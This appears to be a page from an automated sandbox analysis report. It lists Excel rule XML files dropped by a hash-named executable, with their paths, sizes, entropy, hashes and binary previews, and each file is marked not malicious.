SHA-256:	4ECB774A83F0D7AB17E686B1DF3C559D1872598E9AB88BFFB031131AB1C87D59
SHA-512:	BCB1827F8DE1412CBA6EE835CDE4183D77F35F433101B2E61FFE9141C4B23477C07363B87DE679EE4AF2AE1EA82B600F324762D12CA7339091C201B3346A08A5
Malicious:	false
Preview:	<?xml.U....w..v...q....2...}..L@0.B.9.....,J....r.vtS._..@s>u.\.....7...!P......5D..e.&..e.. .wuT.v......DCZ./...H......H%..v1t..9......q.u.%...>62z........Re.X.I....pq.+..M..n...K.......}.F(..)N..........Y..i.k=Xa.={.E.2.H..^..Y-.@.i..........3N!=.km.2d..\|5{...=.?=l......f.z..}.QB..@t...N. F5..j<.Bb).Z...4.s.a..q.d.:.M.#)..&...;.J......4....-....hX{.eb.-..@....d..g...A.w.E...]$D..nY.J8)F...S..r...sh..h.x..ga.S.0.y\....{x..8hwrHx%2v.1...}.i..8.s..?...#.$. ...'Y..k..dwLFG..\|.S...qB.(j..o....,.2..fTlN.l.(.....K..ymkKE..9...wP.v....t..r..T..T.Q.........kz1..f.... ...^.5..v[.....J..A...y9...<..e.,.v....O.KJ"FX.....l...o.]0d].; )O..'.h....Ple<....7....x4w.2q.,...R.g.c..3....F....m..P9y....N..\....;F.\|.S\P.v.F.<h....F..%c.a..WJ.J.q?.....-b..QWeV.?v@..v.B...L...-...gY....1.!.L.-.0.....e..\..hJ..t....#l..._.%....8.....g:.iY'...s..\......!.x...K._!gF.&..b.b.n.......eF.2*.%...(...Q5.4.Y4.7\|.E.=......\|.z...O.\.4.CF..k.b....<#.m.....v....nd.UdYUDK

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11187v1.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	3232
Entropy (8bit):	7.930504017985377
Encrypted:	false
SSDEEP:	96:yNf0AgBRLlpub7vQ9uFB6CLezQinuK4gC:yNcAQuH4bE3K4R
MD5:	74DCA91605521FC8E59FC813D3C9C87C
SHA1:	254C59B3034FD0A082DC9040A31E6B527051FD95
SHA-256:	45FB264811E417D4BF90C4716947EE5DDC1A22FEEBDDFA0869150E8D6B93507E
SHA-512:	F39637A36F99C42A449729D0ACF450F33D9078C991C510470932FF5BEC58937838CEB2E0A3FB5AD732665032F802ED8711D675238011AA7199AB1779ABDADAE0
Malicious:	false
Preview:	<?xml....:X:..........\..6.........oo...OU.%.....H.P.[.?...SX.^t.4.U]...X:....u....". .k.../.^bL....5._B.{q1\|}..->..w.;2.h5........L....d3>.l...k..._....Q.P...6......;.......R >e.....G...p....L.^e.M...l......&....@. .[.oa/6.9......L....s+V.Z...I...+.\|.w..T.^..p].f4.Xdp.....a.#./.;.l.o.....zS....X<.C...l.[.B..N..H.%...I....^.[RK6.A..p.Q...LsOH!d.a.u.....pX]....j2.....b..S7..O.u..........R..9..).6...?..!s.;l.0.=...H"..].\.....+...o../@...:!......\..\|..S..7.~.[.....Z.bj..q.l.o.E.".z...^2..6.;...o3%.Nz ..;3\|.......E&+.."9@..3.;....!l..:...y%.k..../z.?<2>4\8.T.O.../....^.#....1.FpD.JY'.....e.....0..0 sT0...zL...B.0y.h4.z.^~...9...\|...2.z...P@"G.7.H9..l......:..RO... .u...B..L.......K.!.f.,..k.....z..$N2W;qh.0HF...Wa..Gw...P.....c.U......>e..[y.......vD.....(j;r.5...r....R..J=\|.0.."..Z.na..[A..y.`.8...-..B.......[:........(.$R.....4.....8J/J....S(.....=l6..zB....,...p...}....a.pS-....^(D.qZ....../A...OS......9.p.=...x.EQz.....Zs...>}.2._....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11190v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1231
Entropy (8bit):	7.822997145864284
Encrypted:	false
SSDEEP:	24:l1Cjc8Bd5ZYnJ9gw9RdjujFqmfgHQ0hkGBaHRBzH1+GkbD:bCjcCdHYzgmzqFHoHQ0CGBoqD
MD5:	5506FFB2FB6EEC87506363BAD443C66A
SHA1:	7CF4782E414F6B76CAA75F7F0C6A96213EA75DD5
SHA-256:	A67361A976E2FFC5A3D13A869BA68F0D333BF4C515C474C93194DAD3EED7FB95
SHA-512:	BC87EDFCAA0E4C3F41EB6F44E337C52A7C037B851FF3D9B86AE34E18B02E69A76A6E0A8AD13A869BA0C847619DD635038B4C65F9C8CD03E85628978865F2CCD1
Malicious:	false
Preview:	<?xml..^G...!.U..1....C.{@...v..${.Z.....$....}.d..lN...j.q.+Zf..Yb....'...rY\...+..0..:.p.P.......IH5.3..h.(..T.._e...:..Z..Z...N...l.GXD../.S..".@...fh......fO..c:...+.b.. K.~m.IF.f.....(...I@.z. .}r.xi.4.lp`;G.../...c.{..~...-.....y.i\9...zJad..9.(,l.J....S..gP...........e....,79U...........f..g.,.I.f@....o..=...$4..NV#..F.l..\|..n/p...t._..;..Pn#.?./.w.4...U....?.X#p....(L....[k....?pR#f1...z...=....#....IU...u..6....P/..Nm.?.6...8.).~...F..O..:t..ib...D.....w....Fcb........,u..w......l.....~.RF..7s.q0.oL.fW.........8..8..&Js..}k.....L...Q..YEh...F.cCu...h..#!l.C....W...:.X........a...vVu^+._.xEQT..R.. ...J..6..>.!f.=.....^3.&c..d........c+[Y..i..?1l.A.N.Z...0......#K4.+R...`.8.p..R.S/[s....._..$.<....f.Tu.......:..=...g>..:.Go.st~.f.F..t.VS....-.z....3.w.0+?k..=......U...h.*/..=.].UL.....0........\za.Cz.8.l?5...+...t>......T.]h\|..3f....p.\|.(.A^w.\|..-...z...........d..1Q.z..4.Q.....=..Jce..J.##.%..=S..WN.(>....."V..s.....n

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11195v1.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	7567
Entropy (8bit):	7.974016480433369
Encrypted:	false
SSDEEP:	192:+nDJZoUFfq7P4AKrkHSNLyb6n3Hn7r10zpx/fTCjexaSvjMp2a:eJZpfeARkHSN2bm3Hn/10Nx/bfa4q
MD5:	F8D698A949F1ACC9555C8A7E91434E0F
SHA1:	FB2D01A6CCA5B979FCE82657F46F9EC1EFB50BA3
SHA-256:	5FF6DDA71F3F6B4198033EFBDABC0332C68F4F2AD3A3EFB34168EC0EA3395525
SHA-512:	D1CBDA94577EAAA9ECA89EAAE5ADC3B15F8393D2030A8EE625EF6787B750417610F78D9850134E0B8DD06E942D5FD4C108A6021CB53BBA8F0BD975FB0ED88907
Malicious:	false
Preview:	<?xml5.K..5..{d.W6Z9.3#.f....W...\=`.aDP_.l.9`.M5H..U.....(VC.Z....'c..Y..G..,.k.W.......G:.E=...-......f.u@.,..WM....!c_.XI.....J.3....z...Uvg...rOF.`......)..KN<..5..&.~..SK..v....Vh:E[.%..\Zm.....G....vT'.....C.H.+..JZg..d..k..............<.9$....!J.O7.../.?...K.P^...yK.....W"..^....78..?....A.-)._.{.........8L...iOSk..m...../..........\|.r.w...#2Up...~..&....1.m.G ...F&\.......q7.\|.....].......".TZvT.I+...."....0..y.v.R.y..u........V..pQ.a9F....j....a..R..m..Y.6D.2.vMX.#...E?4......g..[.[.....~6$...E..;.....%.2.......yt.-.1."M.b..[...>g.N..Pq)..UA.2.R47.%.F.v.:...a..q.7.n......^..tXP...f"...A.t...b!.k...t..B..`.K..w...!....m.m.......!\|LB.5....&6.....J.......<....0.....K.3p...oH....F\|..[2.....@@..Rk..h.r.`Z _M..'.. G.`...6...n....o8...`..C.Iu.....].:ic.....{.t...Y.......".%...D........E4.v.zA..%.g.......D.....qD.{..F..L..J{s...B.g..-:.?%;'..Gqq0.v.&^.IJ.LW.U..6u.Wt.8.q+"...P.j-...f>K.O..`]...o~\|..>.Z...9]......5.V1#..X9..<...^.2..L.z1E:#.<..s

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11208v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	7.7094250515275204
Encrypted:	false
SSDEEP:	24:IHPeIuCGeGrlE7ACr99/ROXpBrPdyKkbD:IHWIuCGLgrj/R2BLYPD
MD5:	1309FFB8A1BDE03D05B7FC837F8177F6
SHA1:	7A1B356DAD7A5BC504BCC6709CB3C2C565844CFD
SHA-256:	F71FC212CFBC86451ED0DC293B9072AD69153225D79155C7600F737DA4E84D0C
SHA-512:	6913CF56B317561B33A03DF704A9EA187124AA2C12AC75D5B13ADB1784BC2A716705EC39C26293F352B55B7405CBA12AEBCD0A97533E61D8F6A1F102868783F0
Malicious:	false
Preview:	<?xmlR64..A!r'b..].....{......u'K...n.1t.}#..... .....%..+.0.G..W..fD...f.[..C.g..B.WR.F[...;.d]7.:.Oz....Rr....Lp`<.....c.(7...S5vg..Q..&r...kr@...0.%VY...B......O..]..U-D....y]...~........L.......z...Yh...C..RTz)....'N.Q-..)O[.V:.!........e9.....g.H.,.]...1...J.#...,tk...4F..6..2.dH..K.n....Hk../.:j.0..$..s.m.L.t........hS.J./.....a..:x..U&...8....2..W.Lm..q...q.<...../._....t).m...f..o#...)5m+.+.q.%..)\.t...p_........p.!.....c.._^.8..r..i.j...".$H.'....\|.-.S.......fi...U..d0E........:]m..h.=.j..G.'..E.>.,>Z.g&9.@r/].7.Cx...j+.:...k'...9.=.Z>:...Y~.R.Fq...&..&.c..xdr6R~.e..<.psAL./..b...H.. b.L....'m0'..c...!......$.G....i,.f..F..{E......5..~......:..d.......$!.p..sF.n.Ddq.M].6U....C.v#E.@dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11209v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	2272
Entropy (8bit):	7.902392308570798
Encrypted:	false
SSDEEP:	48:oGq1qMvJOTZI5Wmc1xFN8A0/G+Zde3Eaeo7yM6071r4G1c0QyD:7nja5Zc1jNr0/LZYV17Hr4cc0Qa
MD5:	E92CF2A345D1D5B3861948DCFA6223AF
SHA1:	177BB564DECB74D562013E09D8EBC005E549EA1C
SHA-256:	1FFA292C2A25F1E4C338C62741700C8A6DEC7C7D8DE16AB12CF63893B04F9F9E
SHA-512:	867A4D5E4640A09C2B84BD4002C5CA09EF8675BE7FE88E059E77DEF285F43765F2BC34B912E998BE72E28FDF2B60CDE89A05A4D4E3D8A0090A9F56285FA01BE2
Malicious:	false
Preview:	<?xml....(Q.WmB..h.p.~Ui...W......V96...<.R......../...P7.]...H...0<.O..C...#. L[....?..i.<...sk.......q.....H.]..F0.......YG.B%..:..(..C.....Q.....ah..dS{.N..u.. Z..S.q....\|...c......1...1.u>.,.Q}uo.g...@..H.t.:.../C....O..'}...{(s..S....?..........o.X.Mvk.0. X.!.s.5l..5+.~...wW..l..,...c.$;..m.......4eTM..#.F....:Ro....1j.;.JgPB\...@a..w$.B0.._...G....h.M...dk....l.s...~+A......\.;.J.....m.;..d..e.].N.]..Z.64V$..DAh..A...6$..4....}.{+..c....;....._..J..f.{.Od&c..x.B[0.(.tu....j..J..q...2....7..iV.MQ<...{.N.....2......a....L,X..P...j^.u.2L.]....Z.r.i..9FTbkT0..&.....!U..^.Y.q...s#A.e.\|....!.........q.4..:1TcP.\Z.7..y.\|[.B.....P..7...h......kt.,.3...'..,p.....E.......~K+ ..>X..g:...1.T~.C&.....O........x.~.....5....w.W.d^m.-.zM.[.P."p...#..L..3..........=....pe......;...N..V..B..<0'FS...>{S.X.w.........Y..(..b..._.(.\|m.f...B.....:..7@..L~....<.vk_.X).P...@......:h.XG..f.mv;.v..$.Wv'......=?.......Ir..w#.!.......nH..I..1

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11210v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1311
Entropy (8bit):	7.851762758237928
Encrypted:	false
SSDEEP:	24:gKNGgVbtvnsbIJAXll+rlymGQIsU5nrGc0srNA+ci8QslXaGtGNX6r26kbD:gdwRSIucAmGQIVnH08NA+fUBtG56r2/D
MD5:	F110152BEDD2E631C7417F2F83D992AB
SHA1:	8C382876880EC5FDCF3F180144D3CE011D381FEC
SHA-256:	5E224202CD6F14111BC5DBA0B32C3D206DF18D68C9AAAAB30B5CADC16F288D56
SHA-512:	1F7C1ADDD3837D1EE2131F9E3B7653A5BDE0E92F914F5F36CE6D4884A852AFD7D383C1C4D0208FF3DE7AE983CC126A4719E78F51142583A39EBD058D9761D1BD
Malicious:	false
Preview:	<?xml.....E.Q..I.a\i.=..;]z.......d..S.di..f....y..~.OA....B....z.4L.......Y..Q..e-M....c..3V.u..0d=.......z.n}&..A.9.S..........wK.].w.~f.9f.^.....F.Q.L..k.=.........M...C.~.-..D7.. ........e.....,.q....4..Vt..}.z.1....c.J.d+v...%=...w....4.,a.y.`.&.....Kj..F.....0.&.../.[..........p..y..\..A.3.h...[...DK.A...:....:.:.\?.R.T. .U..Q..".+.........T.b.#3\|..I?;. ...~..jXaP.G.....<@..6..k.t.Ay...e.q.......J....V5...,...V..mar...u..:.......7.....v....5.)k5w...+...,..6@..=$..(.h...I.@...\|We0...:.".ci(..x.@,dI\:....3k..x...w>=."...UBtoV..r.K:.W...h.....<..2,.H?>Wg.sk...+ ...P._..p'..0.J..X2....r..0........4#/.4U}O.nU..q<..$.L.J.X..$>..SJ`l..~..^.....z......v..?.OX..s..f..E<s.f..d)...........P...~.2....(@w.s..a.!d...&.#.g..!c...'"..u.%\..j..j.......9......X....G[^a.C.....tlq.."7.."..M.I.?.8G..^.N_.H.'.d..Kr.g..].s.O..%..b.lZ...y .o*h.rHm.,........wB......2...d..f......=..-..n./....#>....../.k.bL....@s..;Vm.....E=....w..3MM7...k9.\|.?..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11264v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	3172
Entropy (8bit):	7.933052509273148
Encrypted:	false
SSDEEP:	96:l08OXi1rRcQVbtEAVNZ8FDJHmNg6aRCJ77ZGyr:l08OX2/VvVNqcNV7tGyr
MD5:	531601EA675736329FD6A7E699F0C149
SHA1:	AA285FABA303BA1597BEBAD90835D0D15B70A601
SHA-256:	8D5FAE6F7CDAE6C52730CEAA4E6216A2598B3E2B6F0B45968F7A7AFF7B1EEFE8
SHA-512:	A0093254B1A1D79A5E487D0392BEC93A2795ECBAFC7B79E0DEAC6BB8BC2A531287B23487A3961421C8BFAD05685D0DE8D57C696880259FC6EC2D45E10A30A071
Malicious:	false
Preview:	<?xml.7x......o.H+O.z.h...,.O.h.K)'BQ..MT..G... ]..;..}y(7..t.........P.....^.7%...F.....B.'..~..D..F.0..,.Y...0b...r.V.>7..l..4......4YS!P.]a.IWv......R(m..1w...........).DJ....l..VBE.:....B.>Y.]M.@h#.<2.....UL.}.....x.e....bP...+.)..Xlm.mS.c...G%.z...+.G.S....=..9`..!...zaf:.4..,.?.1..f..-p...O...5c......).D>..k`.C...".W..D..?%r.\f..3.....{..(.0.. ..k...[8@...q.Uz....4.......H..vb.`4%.3...........@.......).9.2.a7.._`.....F4...G.(.4_.>./....1{/....]...h.l...{...!.(i.q.ep....eX".....Q....?......Pf/..\...q1WR.8..6....R:@..~......}y..Ild;.JI.M..Ne..ms.).Po.\|.....a..H....6{.~b.....c..s..]L...Z.....M...N.jbQ.5^;..}`..?.6.#......ij.....u......(...wN/.1...<.V....7..hR.......V<W......N].._.w8....7.z....;;9......(.zl.[{".Y.A.c.QY............h3.....6r.........5....F...8V.t$\|6....,.E.....sUX.\8..V.;Z.Z"...X...t..X.WNJ.......I8....e..........6.."..._..sT.'.P.D-`q..?G..{....a&.${%u.S\..i...By.4..E.g...1P.+.....jH...nzl.#.x........h.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11265v1.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	2096
Entropy (8bit):	7.892342135642815
Encrypted:	false
SSDEEP:	48:l8KRI7oyK0GziH4TbUEHuO4TgVdvJnq6ehuXS33WCD+Y5p601HoF6U1APPqB7KyD:i97UOuUEOz0dvJnGXD+Y760hoMNSea
MD5:	A88A81AC4A003DF2E106EAB820E1C978
SHA1:	3DF10CB2EED856B89BB6CB2EAE1B9B4042875423
SHA-256:	5884D460CE00527D132F7DAB63EF77D0184B2C75ED66CA5C98BD7367B3E17FB6
SHA-512:	31395DA1C3E9D980ED4F651204E3F0C043A70365C9F8C884F620298633D409160F8136BA8E66C9D9563254B79210692F6440D3EDDCD26AA66585AE1D1B48FE45
Malicious:	false
Preview:	<?xmlGw...Km.m......s.......;..Y...I.W.J...-...x..aKY&.>.5...qC..u.o.T.....t...3g...wR...9.D\....J.~....r.....<E.7<.?4R.2......W4\|+5....E..-...D..(....o.g.~..m..<d.8. .o. ..qh....\|.NTa..S]tH&...]8..>..!.9_........Q4.hP..P..dn......6..EQ.J....."F.....0?.B..A..C}{..........2xW..g.t(._...L.<\|7!.n...x/...]2...o..y..(e.5K..[.)..M.!t.3:...!......TY......H...&.rYL.8.og..o..~.rj.l.P....!....z....v..}...R].o...e.../_.`.n2.`l.R......n/.!...8#.Ra.{K....%.Hv=....Eg..[D.;H...Q.$...Z8Obj.JB....^.T.^.....V.H...G^.........?..T+~.3....u_\[.%...~..t.."..%...}'..........G]..0z'8..S......VS.zf..Pi P....-H...Lo..$..s...[Y.cp.....%.H'..3.......q.t..av..).Yu.........E/,.#eS,{.g/[&m.D (......2xm.....!...4.u.<......0....R....-.1+r0..T@.t4$....<G.95.......$'..m..X0...A'.R.4_&..m=...E....u....ly.;.....\...'z3..l..$..DX.\|.K..nyi......._.0W.....@...L;u.$....?+H..o..b.M.2z..&4...a.x.Kr...p.{.S...7.?C....+..;g(......../....%b..O......c.........Z3...."...:S.j.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11285v1.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	7525
Entropy (8bit):	7.9775800712308635
Encrypted:	false
SSDEEP:	192:s5BYG5iJbEudy/YOO0j0R3uD6GZQXA4sarX1fXPvG:iYGa9S8iEeD6GZqtlxHG
MD5:	6E0985F07F072921C0D80DBAE37DBFC0
SHA1:	80D25EDB7ABB1F19BFE1F51E92C24505AE881319
SHA-256:	37723610FE91AC03F6BD22C72717A8A300F663CB5769343B99B28E6432E2C40A
SHA-512:	FD244F0A1A671728F258CA5BBAC710FB690E7EA54CDDA8D2626B6CC454949BC0E99197C87AF7D873FAE666115A4A94B1D1C577D565A0028F30A119BE2266689D
Malicious:	false
Preview:	<?xml.^..1;.j^...U8.c..d.....B.S.......[.,...X.....B{D.d..l.]... Z894..?.0.:....@.',H\|.....0.N2.j....Xp.'J.....[.Y.....1.....e.n...e....07V}.:.v....s..+s...._..!a.......V9.l....e..1......2c.....t.../}.9.JoE....?.X.....E.R.o.(B.........}.,...e..~^..}..]pT...L...X..p[g#... .=....hXZ&.z>....T..0..g.,b9...!.yx'.!....M$W.......~...AM..\.VL...3...0.RY@nd2.....-..{....IR.......{J.r.Y!O.THi.ws...(.....5 .'.l.6...".`@..S.N.u.:.>b#...TR...,.E.S/.i..`...w.xs.C..f./....o.h.....o*...J:>..h..2...."w]S.....\...xX.T<mW.?.`...]Q.$K..:... [..:.s.E.W.o.....n.\|....B%`9.....o..L.....QA.a..B....q.,/M.....53.C.n...X.[.'.3......1^..e..3._G......VR.x...d..>p..:.....r..G.nK.C.....m.7....a>....-kv;$#.....0..!..d..q?:=..n...;.K...m..hD^.........J....f....).g.b#...l`.<:-...4...q.@....R.R.P.x.lK.w....7..`...@...K......7h..[....)G.0.....@m(8...v.uI.nJ.N...Hn.iv!.0y.3......,R..i.WZ.\|.t.G.e...?...HC..bedtl..#.a.......W..........'..HM.Pn..."..x6.x..N...X.Qd_.'..=av..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11289v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	4197
Entropy (8bit):	7.959159094045985
Encrypted:	false
SSDEEP:	96:LoAmUem87i7B2JQyFcrHwWUn9bYZcKhQtA/4:EAmUeaIMwWI9bGh2AQ
MD5:	6FAE20CE1E3636C4C66C7472A4CF9318
SHA1:	AC95994254008FC65539FC069AFBD85F48B39BE8
SHA-256:	42B6838F5CE57994C371F4B435F477C3E105F2F2BDA76EB7430F27887FA331AF
SHA-512:	EA415539C2FDCCAD09FE62912868D1163BBBF1716D6DA1534AE8B16EDAA4D1DE4E1388468445097709BC3A10AEEBE022094E921AF42A8C595A24C44C7EC4EE1B
Malicious:	false
Preview:	<?xmld.._..?.....V........6....aw.Z..&..T.,4...+.A....v..!Bt..y...zT.8........ ....rB...)..x<.+.s....y..a...[.Ye........l;...8n._I_I....&.d.%..vv>..+.2./.....n...............%_....p...........-..~Y..A\|#.dW..._..;.(.T2. &h.8.....\|Y_K....,.m.}...........hT...)uj8n1^F...&c.q.j..,......N..R..E.i.b.iv......~...YS...X....."..Op.;3......e'...]...c...=.P.....dg...3.......0.W5.\U.XPb_..H.I.u;..2...e.k9...vp....+x...\|".(.c..1x<..\|.j.3q..]...Z!...J..Js.2.t5...........8.m".nv..>....4tMc.{R..S... .w..s.j......=:....T`...1.]O......BJ.Ug......?..0"E..4..uP..e<W.....0\|.4..... ..E.J}.:G.....4Z"wwJ..~.R.nV ...\....d.`O..to...v-p{.9l.....p........&.g.{.........DT.x...Wv{..lx...D..ZO.[..U..\.A.I.....W.L..B.`A{2N....pl,}...l...v"N"........:....mNC...)dM.......K'.A.T..........t..4,...gk..J.0..Q].@..oEO.\|..3t#(...a.]....k.pw....6.....?.........U...d9...g...eF.}#Z....Ki..5.V>.g.C..x.bH...R.}cj. ..4..P.......,(.T...wV#....=...G^.<.....\|.n..v.,/%

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11300v1.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	7.9618476779925995
Encrypted:	false
SSDEEP:	96:QG3FR6kBgIvL+TWkG5EtBKQx+PvJZZ4l+hdX4v7Gm3I7cxPjt777:j3FR6OgWL+TWk9KaQZQ65sPCQ7tz
MD5:	EFD9A0855F41B7636A8A45AFA63D707C
SHA1:	8442259229B9B0C678960BD5FD13BD2A22C7FE6A
SHA-256:	D3ADEA5405D8DB700DB71F23A77B262A6447F4DB48EE39D7EF96A6FC17D13C6A
SHA-512:	5479B6EDA1596D4CF75F877691BEBBF9782EFED32C71A9BE12A9AF9719CACAAF30B8193A5809B0BFBD7EBB707740767456F43EBCDF46E72C0C1D43EEDE8EF9CB
Malicious:	false
Preview:	<?xml-.Un`k.G.T.....cJ...Z.....+.....!..%Z7..A.S..0.N=....".=Ic?..Y%9............MH.....q.5..3...O{3...N.+.....7.4..........._^...U^.."..J.p....'h..a.U.WM..@..9.?O.E..v...(....< ..%.g(.XD......A@1.G..V....l@....&..@..xx.4}Y}k#.^........y.ZV.U...U1dO.3.]P...j...\;.,...S^.>..D.w.u>=7.s..&L...Z...?....0...Ap......qx...........5.o\|.D...K[...+.V...u4g..OJ.c....~.].....k .)K..{".......i.Ze.<.@.Q....!< s.+..@.i'cq4....=.....\D.,r.Y.I.G+....v..y...2..MQ..E.yT,F...0.....]..3c..x..X...rlO.W6+...F.P..;...h...5.uh)..pU..qg"..L'...:...U'..2.D..cn..E....Y..H....._....5..h..o.....+8t..........#.Y.._.,.$..`..#...MM.....b...;.9O.<....m.p.?.t.......Z.&.....}.E..()..w.....S...a.J..$..:......_..T.U..$....^<.d..$..yI.k.#...+.....7W ..}..5.U...[6...H..).iyc...^..\|..u\|...6.+#..6..:J...z.7Lv..N....p.q.......f.q(G..4}....S.F%.....k....}vY..X.->.......N... .g....?...x{@C..7...1_.-uo.w.Of...hW....v..../....Z.4KZb..el".....3.F..%.%......k......o*.7..;.....P.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11302v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	2884
Entropy (8bit):	7.926247125640858
Encrypted:	false
SSDEEP:	48:sYpimIZmTVRr/GxKZE+b35hdmc0wHHzeGTcauvPhtsEVJzqlwvb9cYJ3n8D:sYMmIZmLr/DZE+bZmhwHTvTVctlVJzM1
MD5:	3B6B0E6CE1904C00841D53D88FBB782F
SHA1:	E1C6C49A7024F4C4BE98BAE9124B5AFE81648E5C
SHA-256:	2BFF54C0E7F3BE96684986CE6564A080472B4B7631CF5F4B705218CC74014B50
SHA-512:	70ABFE54E03D6015043C7D17C4CD325F945703793903E7E34CEFD2A83359D9407AE36570963BDE0B35DAD5AED72449E5E64B5834C36424A100C8FAF05F1D8F11
Malicious:	false
Preview:	<?xml.A'{.......hz.._7........%$`=.+\|W..'.A.........=.......H.......&.......za5...... kQ..[...>EOs.Ww..2.\.f&.L#..2.....B...KjLVE.....7L\|..I./v..t:2.>...0......M4..D.Xe......A....o..}..D.....p.:.........m....Ks.....,P+..30.5....V.E....V..8G...P_..2j^.A.q-f_.c...E..8$D{R....r..L".4F%.^..J.L.%.Un.P.E.(..N&.P^&i....L..T;...."..l..........t.p.... ...#u.[#..y.6.~.\|....$..7...c..t.@...L........K.yF.+YE0&.Y.&eA......Z..M...a....6.n..oM....o.XM.G.l..S`fN....#\|...+.#N...2k{U0....rm..ik...>Z...b..6..K".....o..t........^S.!7.....&.!...bP.jn.a.k+5..#y.S...V&.s..X.G....2.]Iv../....#.......OGa.O<>.K.R`q....tn,.3.^km...3>..rO..Q..8.q.F.Fy\......-8..3...G.9.>btN8.B.%. .....s^..::.,>/...Ox...2.w..iO...n..A...C.......o..z...G^._..2mt...W..Q.o...~..\.?e.T#.G.....ca.......Ey].F...h..b.....NZ..J...2..F..~..C..89W.du}.v...^.j..Z...%.E..;.."h.M.\(.G..iZ9...s.B....*.i.y..+c.W0f....x.G.......Z....<..~.W%C....'....y......^8..l_9])..y........t.0..&.JP%P..>.....u..)

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11362v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.960323048638566
Encrypted:	false
SSDEEP:	96:PLCoiETxrQIIpiD1qQHCeV6cn28LRbSuSfZRJwELYFqnPRyjn7g6/2:oETxFZ8QihcnlLRRK7bVUNO
MD5:	918C6794C6088F2230FB90CE36FAA87B
SHA1:	2696908A8C0E23EBB4F411D736ACB50385FBAC73
SHA-256:	6A1AFF6DE430B7728C52085AAB87028A66B8507F17B54D0B508EC409D3874149
SHA-512:	0B93367D283E21CA44E6BB606C02DE3EC7F94306D68714B3FC423839B2E9B8922017A36613DD216FB18450686D88209337624B253094969AB5F504D4DD223FB8
Malicious:	false
Preview:	<?xml.F...&.Z..&'.(`.A%.#Z}V&.0..[+x.'7..Y.._".C...)%8.~.+$l..%..fK...8..E.W...+.+a........<..a#.g.E.g?.....k.. ..S_().8c@j$.KK..M..A$.i..E.5.....c....8.@..-2.(..7....m....I7....`(,...j0..#..Kx..".@..GsOU..S7.}..e........A..I.2...Q..k5......C..H..j............=MjK<]...+....-...{..l$../.....0...:.....S..x.\|F.s.%Y..H..nI.=p...j.7......=<.?B'....$.........3.h....;..C._i..TM...E..--..9,.p...........S... D9.S..Ok.yq!.yzr.k....../S.X.....X8...P...9.t......b....2Z..k..y>..c.'..FN.Z.0.i....Us...c(.(...#?... ....^.O........hb.F./..7.Y.X.T..?.t..^..j....2...0.j.U...\|....B....=sx....h.iyD...+....kT.C....RD0..m.\|.....(.{....P>.e. F.P."WF.....&..b.m....^`m.I.gq....p....8...Jo...!.....j.....K......B...L..k.D....t.K...(.."..].E.@Be.......I.+F..H.......xN%.......o.p.....3'r.$...[.........t0......1.c.[..~T...z.D..p.5d.zI.G\|..p..v.fy..;Q./.-=./E..dI...G..\+.eq.>.3.1...K.]N_@:jw...~.7fQ..V..Q>W.......s...[X..O..^..[.~i..;+..F1n..W.....j.............

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11369v1.xml

Download File

